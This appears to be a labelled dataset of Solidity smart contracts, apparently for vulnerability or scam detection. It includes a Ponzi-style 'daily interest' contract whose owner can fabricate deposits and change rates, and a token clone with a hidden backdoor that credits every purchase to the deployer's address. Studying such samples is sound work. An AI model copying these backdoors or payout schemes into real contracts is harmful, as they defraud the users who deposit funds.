function pep() external view returns(DSValue);
uint256 public gap;
struct Cup {
address lad;
uint256 ink;
uint256 art;
uint256 ire;
}
uint256 public cupi;
mapping (bytes32 => Cup) public cups;
function lad(bytes32 cup) public view returns (address);
function per() public view returns (uint ray);
function tab(bytes32 cup) public returns (uint);
function ink(bytes32 cup) public returns (uint);
function rap(bytes32 cup) public returns (uint);
function chi() public returns (uint);
function open() public returns (bytes32 cup);
function give(bytes32 cup, address guy) public;
function lock(bytes32 cup, uint wad) public;
function free(bytes32 cup, uint wad) public;
function draw(bytes32 cup, uint wad) public;
function join(uint wad) public;
function exit(uint wad) public;
function wipe(bytes32 cup, uint wad) public;
}
contract DSProxy {
address public owner;
function execute(address _target, bytes _data) public payable returns (bytes32 response);
}
contract ProxyRegistry {
mapping(address => DSProxy) public proxies;
function build(address owner) public returns (DSProxy proxy);
}
contract LiquidLong is Ownable, Claimable, Pausable {
using SafeMath for uint256;
using SafeMathFixedPoint for uint256;
uint256 public providerFeePerEth;
MatchingMarket public matchingMarket;
Maker public maker;
Dai public dai;
Weth public weth;
Peth public peth;
Mkr public mkr;
ProxyRegistry public proxyRegistry;
struct CDP {
uint256 id;
uint256 debtInAttodai;
uint256 lockedAttoeth;
address owner;
bool userOwned;
}
event NewCup(address user, uint256 cup);
event CloseCup(address user, uint256 cup);
constructor(MatchingMarket _matchingMarket, Maker _maker, ProxyRegistry _proxyRegistry) public payable {
providerFeePerEth = 0.01 ether;
matchingMarket = _matchingMarket;
maker = _maker;
dai = maker.sai();
weth = maker.gem();
peth = maker.skr();
mkr = maker.gov();
dai.approve(address(_matchingMarket), uint256(-1));
weth.approve(address(_matchingMarket), uint256(-1));
dai.approve(address(_maker), uint256(-1));
mkr.approve(address(_maker), uint256(-1));
weth.approve(address(_maker), uint256(-1));
peth.approve(address(_maker), uint256(-1));
proxyRegistry = _proxyRegistry;
if (msg.value > 0) {
weth.deposit.value(msg.value)();
}
}
function () external payable {
}
function wethDeposit() public payable {
weth.deposit.value(msg.value)();
}
function wethWithdraw(uint256 _amount) public onlyOwner {
weth.withdraw(_amount);
owner.transfer(_amount);
}
function attowethBalance() public view returns (uint256 _attoweth) {
return weth.balanceOf(address(this));
}
function ethWithdraw() public onlyOwner {
uint256 _amount = address(this).balance;
owner.transfer(_amount);
}
function transferTokens(ERC20 _token) public onlyOwner {
_token.transfer(owner, _token.balanceOf(this));
}
function ethPriceInUsd() public view returns (uint256 _attousd) {
return uint256(maker.pip().read());
}
function estimateDaiSaleProceeds(uint256 _attodaiToSell) public view returns (uint256 _daiPaid, uint256 _wethBought) {
return getPayPriceAndAmount(dai, weth, _attodaiToSell);
}
function getPayPriceAndAmount(ERC20 _payGem, ERC20 _buyGem, uint256 _payDesiredAmount) public view returns (uint256 _paidAmount, uint256 _boughtAmount) {
uint256 _offerId = matchingMarket.getBestOffer(_buyGem, _payGem);
while (_offerId != 0) {
uint256 _payRemaining = _payDesiredAmount.sub(_paidAmount);
(uint256 _buyAvailableInOffer, , uint256 _payAvailableInOffer,) = matchingMarket.getOffer(_offerId);
if (_payRemaining <= _payAvailableInOffer) {
uint256 _buyRemaining = _payRemaining.mul(_buyAvailableInOffer).div(_payAvailableInOffer);
_paidAmount = _paidAmount.add(_payRemaining);
_boughtAmount = _boughtAmount.add(_buyRemaining);
break;
}
_paidAmount = _paidAmount.add(_payAvailableInOffer);
_boughtAmount = _boughtAmount.add(_buyAvailableInOffer);
_offerId = matchingMarket.getWorseOffer(_offerId);
}
return (_paidAmount, _boughtAmount);
}
function estimateDaiPurchaseCosts(uint256 _attodaiToBuy) public view returns (uint256 _wethPaid, uint256 _daiBought) {
return getBuyPriceAndAmount(weth, dai, _attodaiToBuy);
}
function getBuyPriceAndAmount(ERC20 _payGem, ERC20 _buyGem, uint256 _buyDesiredAmount) public view returns (uint256 _paidAmount, uint256 _boughtAmount) {
uint256 _offerId = matchingMarket.getBestOffer(_buyGem, _payGem);
while (_offerId != 0) {
uint256 _buyRemaining = _buyDesiredAmount.sub(_boughtAmount);
(uint256 _buyAvailableInOffer, , uint256 _payAvailableInOffer,) = matchingMarket.getOffer(_offerId);
if (_buyRemaining <= _buyAvailableInOffer) {
uint256 _payRemaining = _buyRemaining.mul(_payAvailableInOffer).div(_buyAvailableInOffer);
_paidAmount = _paidAmount.add(_payRemaining);
_boughtAmount = _boughtAmount.add(_buyRemaining);
break;
}
_paidAmount = _paidAmount.add(_payAvailableInOffer);
_boughtAmount = _boughtAmount.add(_buyAvailableInOffer);
_offerId = matchingMarket.getWorseOffer(_offerId);
}
return (_paidAmount, _boughtAmount);
}
modifier wethBalanceIncreased() {
uint256 _startingAttowethBalance = weth.balanceOf(this);
_;
require(weth.balanceOf(this) > _startingAttowethBalance);
}
function openCdp(uint256 _leverage, uint256 _leverageSizeInAttoeth, uint256 _allowedFeeInAttoeth, address _affiliateAddress) public payable wethBalanceIncreased returns (bytes32 _cdpId) {
require(_leverage >= 100 && _leverage <= 300);
uint256 _lockedInCdpInAttoeth = _leverageSizeInAttoeth.mul(_leverage).div(100);
uint256 _loanInAttoeth = _lockedInCdpInAttoeth.sub(_leverageSizeInAttoeth);
uint256 _feeInAttoeth = _loanInAttoeth.mul18(providerFeePerEth);
require(_feeInAttoeth <= _allowedFeeInAttoeth);
uint256 _drawInAttodai = _loanInAttoeth.mul18(uint256(maker.pip().read()));
uint256 _attopethLockedInCdp = _lockedInCdpInAttoeth.div27(maker.per());
weth.deposit.value(msg.value)();
_cdpId = maker.open();
maker.join(_attopethLockedInCdp);
maker.lock(_cdpId, _attopethLockedInCdp);
maker.draw(_cdpId, _drawInAttodai);
sellDai(_drawInAttodai, _lockedInCdpInAttoeth, _feeInAttoeth);
if (_affiliateAddress != address(0)) {
weth.transfer(_affiliateAddress, _feeInAttoeth.div(2));
}
emit NewCup(msg.sender, uint256(_cdpId));
giveCdpToProxy(msg.sender, _cdpId);
}
function giveCdpToProxy(address _ownerOfProxy, bytes32 _cdpId) private {
DSProxy _proxy = proxyRegistry.proxies(_ownerOfProxy);
if (_proxy == DSProxy(0) || _proxy.owner() != _ownerOfProxy) {
_proxy = proxyRegistry.build(_ownerOfProxy);
}
maker.give(_cdpId, _proxy);
}
function sellDai(uint256 _drawInAttodai, uint256 _lockedInCdpInAttoeth, uint256 _feeInAttoeth) private {
uint256 _wethBoughtInAttoweth = matchingMarket.sellAllAmount(dai, _drawInAttodai, weth, 0);
uint256 _refundDue = msg.value.add(_wethBoughtInAttoweth).sub(_lockedInCdpInAttoeth).sub(_feeInAttoeth);
if (_refundDue > 0) {
weth.withdraw(_refundDue);
require(msg.sender.call.value(_refundDue)());
}
}
function closeCdp(LiquidLong _liquidLong, uint256 _cdpId, uint256 _minimumValueInAttoeth) external returns (uint256 _payoutOwnerInAttoeth) {
address _owner = DSProxy(this).owner();
uint256 _startingAttoethBalance = _owner.balance;
Maker _maker = _liquidLong.maker();
uint256 _lockedPethInAttopeth = _maker.ink(bytes32(_cdpId));
if (_lockedPethInAttopeth == 0) return 0;
_maker.give(bytes32(_cdpId), _liquidLong);
_payoutOwnerInAttoeth = _liquidLong.closeGiftedCdp(bytes32(_cdpId), _minimumValueInAttoeth, _owner);
require(_maker.lad(bytes32(_cdpId)) == address(this));
require(_owner.balance > _startingAttoethBalance);
return _payoutOwnerInAttoeth;
}
function closeGiftedCdp(bytes32 _cdpId, uint256 _minimumValueInAttoeth, address _recipient) external wethBalanceIncreased returns (uint256 _payoutOwnerInAttoeth) {
require(_recipient != address(0));
uint256 _lockedPethInAttopeth = maker.ink(_cdpId);
uint256 _debtInAttodai = maker.tab(_cdpId);
uint256 _lockedWethInAttoweth = _lockedPethInAttopeth.div27(maker.per());
uint256 _wethSoldInAttoweth = matchingMarket.buyAllAmount(dai, _debtInAttodai, weth, _lockedWethInAttoweth);
uint256 _providerFeeInAttoeth = _wethSoldInAttoweth.mul18(providerFeePerEth);
uint256 _mkrBalanceBeforeInAttomkr = mkr.balanceOf(this);
maker.wipe(_cdpId, _debtInAttodai);
uint256 _mkrBurnedInAttomkr = _mkrBalanceBeforeInAttomkr.sub(mkr.balanceOf(this));
uint256 _ethValueOfBurnedMkrInAttoeth = _mkrBurnedInAttomkr.mul(uint256(maker.pep().read()))
.div(uint256(maker.pip().read()));
_payoutOwnerInAttoeth = _lockedWethInAttoweth.sub(_wethSoldInAttoweth).sub(_providerFeeInAttoeth).sub(_ethValueOfBurnedMkrInAttoeth);
require(_payoutOwnerInAttoeth >= _minimumValueInAttoeth);
maker.free(_cdpId, _lockedPethInAttopeth);
maker.exit(_lockedPethInAttopeth);
maker.give(_cdpId, msg.sender);
weth.withdraw(_payoutOwnerInAttoeth);
require(_recipient.call.value(_payoutOwnerInAttoeth)());
emit CloseCup(msg.sender, uint256(_cdpId));
}
function getCdps(address _owner, uint32 _offset, uint32 _pageSize) public returns (CDP[] _cdps) {
DSProxy _cdpProxy = proxyRegistry.proxies(_owner);
require(_cdpProxy != address(0));
return getCdpsByAddresses(_owner, _cdpProxy, _offset, _pageSize);
}
function getCdpsByAddresses(address _owner, address _proxy, uint32 _offset, uint32 _pageSize) public returns (CDP[] _cdps) {
_cdps = new CDP[](getCdpCountByOwnerAndProxy(_owner, _proxy, _offset, _pageSize));
uint256 _cdpCount = cdpCount();
uint32 _matchCount = 0;
for (uint32 _i = _offset; _i <= _cdpCount && _i < _offset + _pageSize; ++_i) {
address _cdpOwner = maker.lad(bytes32(_i));
if (_cdpOwner != _owner && _cdpOwner != _proxy) continue;
_cdps[_matchCount] = getCdpDetailsById(_i, _owner);
++_matchCount;
}
return _cdps;
}
function cdpCount() public view returns (uint32 _cdpCount) {
uint256 count = maker.cupi();
require(count < 2**32);
return uint32(count);
}
function getCdpCountByOwnerAndProxy(address _owner, address _proxy, uint32 _offset, uint32 _pageSize) private view returns (uint32 _count) {
uint256 _cdpCount = cdpCount();
_count = 0;
for (uint32 _i = _offset; _i <= _cdpCount && _i < _offset + _pageSize; ++_i) {
address _cdpOwner = maker.lad(bytes32(_i));
if (_cdpOwner != _owner && _cdpOwner != _proxy) continue;
++_count;
}
return _count;
}
function getCdpDetailsById(uint32 _cdpId, address _owner) private returns (CDP _cdp) {
(address _cdpOwner, uint256 _collateral,,) = maker.cups(bytes32(_cdpId));
uint256 _debtInAttodai = maker.tab(bytes32(_cdpId));
uint256 _lockedAttoeth = (_collateral + 1).mul27(maker.gap().mul18(maker.per()));
_cdp = CDP({
id: _cdpId,
debtInAttodai: _debtInAttodai,
lockedAttoeth: _lockedAttoeth,
owner: _cdpOwner,
userOwned: _cdpOwner == _owner
});
return _cdp;
}
} | 1 | 3,897 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Proxy {
using SafeMath for uint256;
uint256 public contribution = 0;
ETH_8 public eth_8;
constructor() public {
eth_8 = ETH_8(msg.sender);
}
function() public payable {
if(msg.value == 0) {
eth_8.withdrawDividends(msg.sender);
return;
}
address newReferrer = _bytesToAddress(msg.data);
contribution = contribution.add(msg.value);
address(eth_8).transfer(msg.value);
eth_8.doInvest(msg.sender, msg.value, newReferrer);
}
function _bytesToAddress(bytes data) private pure returns(address addr) {
assembly {
addr := mload(add(data, 20))
}
}
}
contract ETH_8 {
using SafeMath for uint256;
uint256 constant public ONE_HUNDRED_PERCENTS = 10000;
uint256[] public DAILY_INTEREST = [511000, 133, 222, 333, 444];
uint256 public MARKETING_AND_TEAM_FEE = 1000;
uint256 public referralPercents = 1000;
uint256 constant public MAX_DIVIDEND_RATE = 25000;
uint256 constant public MINIMUM_DEPOSIT = 100 finney;
uint256 public wave = 0;
uint256 public totalInvest = 0;
uint256 public totalDividend = 0;
mapping(address => bool) public isProxy;
struct Deposit {
uint256 amount;
uint256 interest;
uint256 withdrawedRate;
}
struct User {
address referrer;
uint256 referralAmount;
uint256 firstTime;
uint256 lastPayment;
Deposit[] deposits;
}
address public marketingAndTechnicalSupport = 0xC93C7F3Ac689B822C3e9d09b9cA8934e54cf1D70;
address public owner = 0xbBdE48b0c31dA0DD601DA38F31dcf92b04f42588;
mapping(uint256 => mapping(address => User)) public users;
event InvestorAdded(address indexed investor);
event ReferrerAdded(address indexed investor, address indexed referrer);
event DepositAdded(address indexed investor, uint256 indexed depositsCount, uint256 amount);
event UserDividendPayed(address indexed investor, uint256 dividend);
event DepositDividendPayed(address indexed investor, uint256 indexed index, uint256 deposit, uint256 totalPayed, uint256 dividend);
event FeePayed(address indexed investor, uint256 amount);
event BalanceChanged(uint256 balance);
event NewWave();
function() public payable {
require(isProxy[msg.sender]);
}
function withdrawDividends(address from) public {
require(isProxy[msg.sender]);
uint256 dividendsSum = getDividends(from);
require(dividendsSum > 0);
if (address(this).balance <= dividendsSum) {
wave = wave.add(1);
totalInvest = 0;
dividendsSum = address(this).balance;
emit NewWave();
}
from.transfer(dividendsSum);
emit UserDividendPayed(from, dividendsSum);
emit BalanceChanged(address(this).balance);
}
function getDividends(address wallet) internal returns(uint256 sum) {
User storage user = users[wave][wallet];
for (uint i = 0; i < user.deposits.length; i++) {
uint256 withdrawRate = dividendRate(wallet, i);
user.deposits[i].withdrawedRate = user.deposits[i].withdrawedRate.add(withdrawRate);
sum = sum.add(user.deposits[i].amount.mul(withdrawRate).div(ONE_HUNDRED_PERCENTS));
emit DepositDividendPayed(
wallet,
i,
user.deposits[i].amount,
user.deposits[i].amount.mul(user.deposits[i].withdrawedRate.div(ONE_HUNDRED_PERCENTS)),
user.deposits[i].amount.mul(withdrawRate.div(ONE_HUNDRED_PERCENTS))
);
}
user.lastPayment = now;
totalDividend = totalDividend.add(sum);
}
function dividendRate(address wallet, uint256 index) internal view returns(uint256 rate) {
User memory user = users[wave][wallet];
uint256 duration = now.sub(user.lastPayment);
rate = user.deposits[index].interest.mul(duration).div(1 days);
uint256 leftRate = MAX_DIVIDEND_RATE.sub(user.deposits[index].withdrawedRate);
rate = min(rate, leftRate);
}
function doInvest(address from, uint256 investment, address newReferrer) public {
require(isProxy[msg.sender]);
require (investment >= MINIMUM_DEPOSIT);
User storage user = users[wave][from];
if (user.firstTime == 0) {
user.firstTime = now;
user.lastPayment = now;
emit InvestorAdded(from);
}
if (user.referrer == address(0)
&& user.firstTime == now
&& newReferrer != address(0)
&& newReferrer != from
&& users[wave][newReferrer].firstTime > 0
) {
user.referrer = newReferrer;
emit ReferrerAdded(from, newReferrer);
}
if (user.referrer != address(0)) {
uint256 refAmount = investment.mul(referralPercents).div(ONE_HUNDRED_PERCENTS);
users[wave][user.referrer].referralAmount = users[wave][user.referrer].referralAmount.add(investment);
user.referrer.transfer(refAmount);
}
investment = investment.add(getDividends(from));
totalInvest = totalInvest.add(investment);
user.deposits.push(Deposit({
amount: investment,
interest: getUserInterest(from),
withdrawedRate: 0
}));
emit DepositAdded(from, user.deposits.length, investment);
uint256 marketingAndTeamFee = investment.mul(MARKETING_AND_TEAM_FEE).div(ONE_HUNDRED_PERCENTS);
marketingAndTechnicalSupport.transfer(marketingAndTeamFee);
emit FeePayed(from, marketingAndTeamFee);
emit BalanceChanged(address(this).balance);
}
function getUserInterest(address wallet) public view returns (uint256) {
User memory user = users[wave][wallet];
if (user.referralAmount < 1 ether) {
if(user.referrer == address(0)) return DAILY_INTEREST[0];
return DAILY_INTEREST[1];
} else if (user.referralAmount < 10 ether) {
return DAILY_INTEREST[2];
} else if (user.referralAmount < 20 ether) {
return DAILY_INTEREST[3];
} else {
return DAILY_INTEREST[4];
}
}
function min(uint256 a, uint256 b) internal pure returns(uint256) {
if(a < b) return a;
return b;
}
function depositForUser(address wallet) external view returns(uint256 sum) {
User memory user = users[wave][wallet];
for (uint i = 0; i < user.deposits.length; i++) {
sum = sum.add(user.deposits[i].amount);
}
}
function dividendsSumForUser(address wallet) external view returns(uint256 dividendsSum) {
User memory user = users[wave][wallet];
for (uint i = 0; i < user.deposits.length; i++) {
uint256 withdrawAmount = user.deposits[i].amount.mul(dividendRate(wallet, i)).div(ONE_HUNDRED_PERCENTS);
dividendsSum = dividendsSum.add(withdrawAmount);
}
dividendsSum = min(dividendsSum, address(this).balance);
}
function changeInterest(uint256[] interestList) external {
require(address(msg.sender) == owner);
DAILY_INTEREST = interestList;
}
function changeTeamFee(uint256 feeRate) external {
require(address(msg.sender) == owner);
MARKETING_AND_TEAM_FEE = feeRate;
}
function virtualInvest(address from, uint256 amount) public {
require(address(msg.sender) == owner);
User storage user = users[wave][from];
if (user.firstTime == 0) {
user.firstTime = now;
user.lastPayment = now;
emit InvestorAdded(from);
}
amount = amount.add(getDividends(from));
user.deposits.push(Deposit({
amount: amount,
interest: getUserInterest(from),
withdrawedRate: 0
}));
emit DepositAdded(from, user.deposits.length, amount);
}
function createProxy() external {
require(msg.sender == owner);
Proxy newProxy = new Proxy();
isProxy[address(newProxy)] = true;
}
} | 0 | 909 |
pragma solidity ^0.4.20;
contract CraigGrantFunFace {
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[keccak256(_customerAddress)]);
_;
}
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){
require(
ambassadors_[_customerAddress] == true &&
(ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_
);
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);
_;
} else {
onlyAmbassadors = false;
_;
}
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "CraigGrantFunFace";
string public symbol = "CGFF";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 10;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
uint256 public stakingRequirement = 333e18;
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 1 ether;
uint256 constant internal ambassadorQuota_ = 7 ether;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
mapping(bytes32 => bool) public administrators;
bool public onlyAmbassadors = false;
function Hourglass()
public
{
ambassadors_[0x0e4705d75896B1aEC52E885D93Cdf8832338E322] = true;
ambassadors_[0xa7c971ae84d24d1ba58300ec2433b8dacfd36178] = true;
ambassadors_[0xa36f907be1fbf75e2495cc87f8f4d201c1b634af] = true;
ambassadors_[0xbfc699a6f932a440a7745125815427103de1c1f9] = true;
ambassadors_[0xb1ac3b02260b30b3f02fb32c675e1bd8f1e7d3b9] = true;
ambassadors_[0x4da6fc68499fb3753e77dd6871f2a0e4dc02febe] = true;
ambassadors_[0xf35878127762a588cdfef8bbb6765f1cf8671a62] = true;
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
function reinvest()
onlyStronghands()
public
{
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw()
onlyStronghands()
public
{
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
address _customerAddress = msg.sender;
require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if(myDividends(true) > 0) withdraw();
uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function disableInitialStage()
onlyAdministrator()
public
{
onlyAmbassadors = false;
}
function setAdministrator(bytes32 _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
antiEarlyWhale(_incomingEthereum)
internal
returns(uint256)
{
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement
){
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if(tokenSupply_ > 0){
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAdress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
address _customerAdress = msg.sender;
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 2,516 |
pragma solidity >=0.4.10;
contract Token {
function balanceOf(address addr) returns(uint);
function transfer(address to, uint amount) returns(bool);
}
contract Sale {
address public owner;
address public newOwner;
string public notice;
uint public start;
uint public end;
uint public cap;
bool public live;
event StartSale();
event EndSale();
event EtherIn(address from, uint amount);
function Sale() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function () payable {
require(block.timestamp >= start);
if (block.timestamp > end || this.balance > cap) {
require(live);
live = false;
EndSale();
} else if (!live) {
live = true;
StartSale();
}
EtherIn(msg.sender, msg.value);
}
function init(uint _start, uint _end, uint _cap) onlyOwner {
start = _start;
end = _end;
cap = _cap;
}
function softCap(uint _newend) onlyOwner {
require(_newend >= block.timestamp && _newend >= start && _newend <= end);
end = _newend;
}
function changeOwner(address next) onlyOwner {
newOwner = next;
}
function acceptOwnership() {
require(msg.sender == newOwner);
owner = msg.sender;
newOwner = 0;
}
function setNotice(string note) onlyOwner {
notice = note;
}
function withdraw() onlyOwner {
msg.sender.transfer(this.balance);
}
